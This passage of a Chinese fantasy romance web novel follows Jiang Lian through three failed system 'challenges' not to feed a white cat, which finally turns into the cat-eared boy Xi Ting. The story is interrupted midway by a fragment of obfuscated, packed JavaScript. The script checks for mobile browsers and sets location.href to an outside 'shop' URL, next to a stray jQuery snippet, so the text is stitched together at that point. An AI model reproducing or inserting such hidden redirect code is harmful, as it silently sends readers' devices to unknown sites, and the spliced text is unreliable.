的一个空玻璃杯。然后它蹲坐下来,就坐在矮几边缘,离江敛只有不到一臂的距离。
它开始舔自己前爪的毛,细致又专注。
舔几下,会停下来,抬起那双蜂蜜色的眼睛,看向虚空中的某一点,仿佛在思考猫生。
偶尔,那视线会非常自然地、短暂地扫过江敛的方向,又很快移开。
江敛发现这只猫很安静。
是不会叫吗?
小猫梳理完爪子,轻盈地跳下矮几。
这次它走向了书桌底下,在里面转了一圈,小脑袋轻轻顶了顶桌角,然后钻了出来。
它还是没有靠近江敛,而是选择在距离他几步远的地毯上蜷缩下来,把自己团成一个标准的猫猫球。雪白的尾巴绕到身前,盖住了鼻子。它闭上了眼睛,似乎打算小憩。
但江敛注意到,那闭上的眼睛,时不时会悄悄掀开一条缝,蜂蜜色的眸光从眼缝里漏出来,精准地落在他身上。被他发现,就立刻紧紧闭上,假装睡得很熟。
一次,两次,三次……
小猫变换着位置,用各种看似偶然的方式,在江敛的视野里刷着存在感。窗台,矮几,地毯,书桌旁……
它不吵不闹,只是安静地待着,偶尔用那双清澈的眼睛看看他。
在它第十次不经意经过沙发,并“不经意”蹭到江敛的手背时。
江敛放下书。
他忽然明白了。
这看似随意的走动,不经意的停留,偷偷的窥视……是一种含蓄的、矜持的提醒。
——该给零食了。
这个念头冒出来的瞬间,江敛自己都觉得有点好笑。他竟然在认真揣摩一只猫的行为意图。但看着那只蜷在地毯上、却明显没睡着的小白团子,蓬松得让人想伸手狠狠揉搓的毛发,偶尔偷瞄他一眼又飞快闭上的眼睛……
心里某个地方,像是被那雪白的尾巴尖极轻地扫了一下。
痒痒的。
他想起系统呈现的【挑战次数:1/3】。
所以,喂了一次,失败一次……也无所谓吧。
江敛身体微微前倾,手肘支在膝盖上,朝着地毯上的猫团子伸出手指,勾了勾。
“喂。”
小白猫耳朵动了动,似乎等这一刻等了很久,眼睛立刻睁开了。
它看着他勾动的手指,假装犹豫了两秒钟,然后站了起来。它没有立刻跑过来,而是先伸了个长长的懒腰,身体拉成一条优美的弧线,前爪向前伸展,指甲尖儿从粉嫩的肉垫里探出来一点点,又迅速收回去。
做完这一切,它才迈着不紧不慢的步子走过来,在江敛脚边停下,仰起头。
蜂蜜色的眼睛在近距离看,更加清澈透亮,里面清晰地映出江敛的影子。它微微歪了歪头,耳朵也跟着偏了偏,终于发出了第一声细软的,带着点疑惑的:“咪?”
声音又轻又软,仿佛真的不知道他要做什么似的。可是那双眼睛里的期待都已经漫出来了。
江敛轻笑一声。
这还是只矜持小猫。
他没说话,伸手拉开沙发旁边矮柜的抽屉。里面果然放着几包精致的猫零食,小鱼干形状的。
他拿出一小根。
小猫的视线立刻锁定了那根小鱼干。
它坐得更端正了,前爪并拢,尾巴在身后小幅度地、快速地左右摆动,内心分明期待不已,但身体依旧稳稳地坐着,没有扑抢。
21. 【甜蜜大挑战】
江敛将小鱼干递过去。
小猫凑近,先是小心地嗅了嗅,然后才张开嘴轻轻叼住,从江敛手里接了过去。它叼着鱼干,却没有立刻吃掉,而是转身走到一边的茶几上放下,用前爪按住,开始一点点的啃。
江敛看着它微微晃动的小脑袋和背后那簇随着进食零食而惬意轻轻摇晃的尾巴,嘴角无意识地弯起一个很浅的弧度。
【挑战失败。】
【场景重置中……】
【当前挑战次数:2/3】
周围景象如水波般晃动了一下,江敛发现自己重新坐在了沙发上,手里拿着那本书,姿势和最初一模一样。矮柜抽屉关着,仿佛从未打开。
而卧室门口,那只通体雪白、粉鼻子粉嘴的小猫,再次探出了头。
重置了。
江敛想。这次他可不会心软了。
小猫还是那套流程,安静地出现,安静地巡视,安静地待在离他不远不近的地方。但这一次,江敛没有再动摇。
它停留在他身边的次数变多了,时间也变长了。
它甚至跳上了沙发,不是挨着他,而是选择了沙发的另一端,蜷缩在那里。它把自己团得很圆,雪白的一团,像一颗巨大的、毛茸茸的棉花糖。
江敛强迫自己把注意力放回杂志上。但眼角的余光总忍不住瞥向那一团白色。它太安静了,安静得让人忍不住想去确认它是否还在呼吸。
小猫似乎察觉到了他的视线,它抬起头,蜂蜜色的眼睛望向他,水汪汪的。然后,它站了起来,迈着猫步,踩着柔软的沙发垫,朝他走过来。
过了又一会儿,见江敛这次不为所动,它竟然在江敛手边停了下来,低下头,第一次用毛茸茸的脑袋,轻轻蹭了蹭江敛的手背。
只有一下。
触感温暖又柔软,毛发细腻得不可思议。蹭动时,还能闻到它身上极淡的、阳光晒过绒毛般的暖香。
江敛的手指蜷缩了一下,没动。
小猫见他没有反应,又抬起一只前爪,轻轻搭在了江敛的手腕上。粉嫩的肉垫隔着皮肤,传来微小的压力和温热。
它仰着脸,眼睛一眨不眨地看着他,喉咙里发出低低的、呼噜呼噜的声音。江敛就是听出那声音里带着一种撒娇的意味。
江敛一下被某种自己从未涉及过的东西击中了。
他的喉结滚动了一下。
它肯定是想让我摸摸它。
摸一下,只是摸一下,不算喂食。挑战规则里又没说不准摸。
这个理由说服了他自己。他放下书,翻过手掌,摊开掌心。
小猫立刻理解了,它主动将下巴搁进了江敛的掌心,轻轻蹭了蹭。江敛的手指慢慢陷入它颈侧丰厚柔软的绒毛里,感受猫温暖的体温和伴随着呼噜声的细微颤动。
他手不自觉的挠了挠小猫的下巴,小猫的呼噜声更响了,眼睛惬意地半眯起来。
手感比想象中还要好。
那毛发顺滑蓬松,江敛不由自主地用指尖梳理着,从小猫的头顶,顺着脊背,一直摸到尾巴根。
小猫显然很享受,它甚至微微侧身,露出了柔软的腹部。那一块的毛发更细更绒,雪白一片,还露着隐隐的粉色,随着呼吸轻轻起伏。
那里的手感看起来更好。
也许,它想让我摸摸它的肚子。
他犹豫了片刻,另一只手也伸了过去,小心地、试探性地,轻轻放在了小猫的肚皮上。
好软。
温热,柔软,毫无防备。手指陷进去,被极度蓬松细软的绒毛包裹。小猫的身体几不可察地僵硬了一瞬,搭在他手腕上的爪子微微收紧,粉色的指甲尖儿抵着皮肤,但没有伸出来,也没有推开他。
它似乎忍耐了一下,然后放松下来,任由江敛的手掌覆在它最柔软脆弱的腹部。
这个默许的信号,让江敛心里某种克制的东西松动了。他身体前倾,靠近那团温暖柔软的白色。
他把脸埋进了小猫的肚皮。
温暖,蓬松,带着阳光般干净好闻的香气,瞬间充斥了他的感官。
他深深地吸了一口气。
小猫明显被这样的过界惊呆了。
它整个身体都绷紧了,两只前爪举起来,用力抵住了江敛的额头和高挺的鼻梁,试图把他推开。
是一种明确又慌张的拒绝。
但江敛没有停下。他被那极致的柔软和温暖俘获了,甚至在小猫爪那点微不足道的抗拒下,用鼻尖蹭了蹭热乎乎的肉垫。
小猫的爪子用力了一点,喉咙里发出短促的、警告般的咕噜声。但它始终没有亮出爪子抓他,也没有奋力挣脱逃跑,只是更加用力的抵住身上人的脸,身体微微颤抖,不知是紧张、害羞,还是别的什么。
江敛用鼻子拱了它好一会,吸够了,抬起头。
他的脸颊还残留着绒毛搔刮的微痒和暖意。他看着被他举到面前的小猫。它耳朵向后撇着,变成了飞机耳,蜂蜜色的眼睛睁得圆圆的,里面映着他的脸,带着显而易见的紧张。
江敛忽然觉得心脏被什么东西轻轻撞了一下。它明明不愿意,却还是忍着。
他凑近,在它毛茸茸的额头上,飞快地亲了一下。
触感柔软,带着温度。
小猫闭上了眼睛,耳朵抖了抖,像是认命了。
江敛觉得有点好笑,又有点难以言喻的心软。他把小猫放了下来,放在自己旁边的沙发上。
好乖。
这么乖,一定很喜欢我吧。
重获自由的小猫立刻跳开两步,背对着他,开始用力舔自己被弄乱的腹毛,动作急促,很努力的样子。
江敛靠在沙发背上,看着它忙碌的小背影,心情奇异地放松下来。他甚至有点期待,接下来它还会用什么方法来讨好他。
小猫舔了好一会儿毛,才转过身。它没有离开,也没有再试图靠近撒娇。它就在原地蹲坐下来,就在江敛触手可及的地方,静静地看着他。
眼神很平静,只是安静地看着。
江敛没有反应,和它对视。
小猫歪了歪头。
然后,它抬起一只前爪,伸到嘴边,做了一个类似“洗脸”的动作,舔了舔爪垫,又用爪垫擦了擦脸。
做完这个,它继续看着江敛。
江敛没明白。
猫又洗了一遍脸。
江敛恍惚觉得它在暗示什么。
暗示什么,零食?
……它以为那是交易?
江敛愣住了。所以刚才它的忍耐,它的乖巧,不是因为它喜欢,而是因为它以为那是获得零食必须付出的代价?
意识到这一点,江敛心里那点轻松愉悦瞬间消散,取而代之的是一种微妙的气闷。
小猫见他迟迟没有动作,期待的眼神渐渐发生了变化。耳朵慢慢耷拉下来,尾巴也垂落,不再愉快的扫来扫去。
它看了江敛最后一眼,那眼神里清晰无误地传递出失望,还有一点……被欺骗的委屈?
然后它转过身,跳下沙发,朝着卧室方向走去。
它走得很慢,脚步似乎有些沉重,一身原本蓬松顺滑的长毛,此刻看起来都有些黯淡凌乱。
走到卧室门口时,它停下,回头又望了江敛一眼。
圆溜溜的蜂蜜色的眼睛,里面那点残存的期待彻底熄灭了,只剩下全然的失落。它轻轻“喵”了一声,声音低低的,然后扭头钻进了卧室,消失在门后。
江敛独自坐在沙发上,看着空荡荡的卧室门口。房间里似乎还残留着小猫身上的暖香,和他掌心记忆里的柔软触感。
心里那点气闷早就没了,取而代之的是一种陌生的情绪——愧疚。
他骗了一只猫。用抚摸和亲近做诱饵,却克扣了它应得的“报酬”。
这感觉很糟。尤其当那只猫用那种眼神看他,然后黯然离开的时候。
他想起了初见少年时那双带着羞怒,又含着泪的眼睛。
反正……还有一次机会。
这个念头跳出来的瞬间,江敛就对着猫离开的方向开口了。
“喂,”声音在安静的房间里显得有点突兀,“回来。”
没有动静。
江敛等了几秒,提高了声音:“吃零食了。”
几乎是话音刚落,那个雪白的毛团子就从门后窜了出来。它跑得很快,一下子冲到沙发边,端端正正坐好,仰头看着江敛,尾巴在身后小幅度地快速摇摆,眼睛亮晶晶的,哪里还有半点刚才的失落。
仿佛刚才那个伤心离开的背影,只是江敛的错觉。
江敛看着它这副毫不掩饰的期待模样,一时竟不知该气还是该笑。他拉开抽屉,这次直接拿出了两根小鱼干。
小猫凑过来,却没有立刻去吃。它用脑袋顶了顶江敛的手,喉咙里发出满足的呼噜声,然后才叼着零食,迈着轻快的步伐走到一边享用去了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16950843|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>江敛看着它欢快的背影,揉了揉眉心。
【挑战失败。】
【场景重置中……】
【当前挑战次数:3/3】
最后一次机会了。
江敛再次坐在了重置后的沙发上。
这次,无论如何,他不会再被迷惑。不过十二小时,不过一只猫,他能做到。
小猫再次登场,重复着之前的套路。但这一次,江敛对一切诱惑视若无睹。
他看书,发呆,甚至起身去倒了杯水,全程无视那只在他脚边转来转去、蹭来蹭去、馋到最后甚至试图扒拉他裤脚的小家伙。
小猫似乎也意识到了这次的不同。它尝试了各种方法,使出了前两轮都没有使出的手段:躺倒在地毯上露出柔软的肚皮,用那双蜂蜜色的大眼睛一眨不眨地、充满渴望地望着他,轻轻发出又软又嗲的哼唧声……
江敛统统无视。他走到窗边,背对着它,意志坚定。
房间里安静下来。小猫似乎放弃了。
江敛等了一会儿,没再听到动静,心里稍稍松了口气,又有点说不清的失落。他转过身,想看看那只小猫是不是又躲回卧室去了。
然后,他回头的瞬间。
被无视的小猫朝他奔跑过来——
跑着跑着,他变成了一个有着雪白猫耳、蓬松尾巴的少年!
少年身体前倾,双手环住了江敛的脖子,轻盈地一跳,江敛下意识伸手去接,两人双双被惯性带到了沙发上。
于是那少年顺势将笔直白皙的一双腿分开,跨坐在了江敛的腰间,手臂松松环着江敛的脖颈,蓬松的猫尾缠绕上了江敛的手腕,若有似无地蹭着他的皮肤。
江敛扶着少年腰侧的手僵硬着,指尖所触是细腻的肌肤。很细,不盈一握。
温热柔软的身体紧贴着他,隔着薄薄的衬衫布料,令人眩晕的温度和触感。少年身上干净甜味,钻进江敛的鼻腔。
江敛鼻子一热。
大脑一片空白,只觉得耳朵里嗡嗡作响,心跳声大得吓人。
是梦境里那个给了他几巴掌,又靠在他怀里睡着的“小恋人”。也是那个在梦中可望不可得的“小嫂子”。
此刻,那张脸上带着点懵懂,又带着点小心翼翼的试探,蜂蜜色的眼睛望着他,清澈见底。
那对雪白猫耳毛茸茸的,正直挺挺地立在黑色短发间,它们看起来无比柔软,仿佛轻轻一碰就会害羞地折下,透出一种天真的诱惑。
奚亭并不觉得这个姿势有什么,他微微仰起脸,变成猫后格外圆的眼睛眨了眨,似乎对现在这个占据主导的位置很满意。
他低下头,额头几乎抵着江敛的额头,潋滟的眸子近在咫尺,里面清晰地映出江敛逐渐变红的、呆怔的的脸。
然后,他凑得更近,柔软的唇瓣几乎贴着江敛的耳廓,温热的气息拂过皮肤,带起一阵细微的战栗。
他用气声,带着点撒娇,发出一声含糊的、带着点鼻音的猫叫:“嗯……”
随后,不甚熟练的,终于吐出了人类的语言:“想、吃……”
江敛无声的捂住了鼻子。
他最后残存的一点意识,是看到少年因为期待而微微张开的嘴唇,色泽健康红润。
什么挑战,什么十二小时,什么原则……
全忘了。
他几乎是手忙脚乱地,单手抱着怀里的猫耳少年,另一只手狼狈地、摸索着拉开了那个该死的抽屉。他甚至没心思去挑,胡乱抓了一把小鱼干猫条冻干,一股脑全塞进了少年怀里。
触及温热柔软的肌肤时,手过电般的一抖,零食撒得一身都是。
少年立刻笑了。眼睛弯起来,像盛满了蜜糖。他松开环着江敛脖子的手,抱住那一小把零食,快乐地用脸颊蹭了蹭江敛的下巴。毛茸茸的猫耳擦过江敛的脸侧,柔软温热。
“你真好。”
他软软地说,然后灵巧地从江敛身上跳了下来。落地时,地上又只剩下一只通体雪白的小猫。它叼起一根小鱼干,回头看了僵立在原地的江敛一眼,尾巴愉悦地高高翘起,然后迈着轻快的小步伐,哒哒哒跑回了卧室。
留下江敛一个人坐在沙发上,心脏依旧狂跳。
他抬手,抹了一把脸。
【挑战失败。】
【退出副本中……】
江敛猛地睁开眼。
他躺在自己的床上,胸口起伏,呼吸急促,狼狈的掀起被子。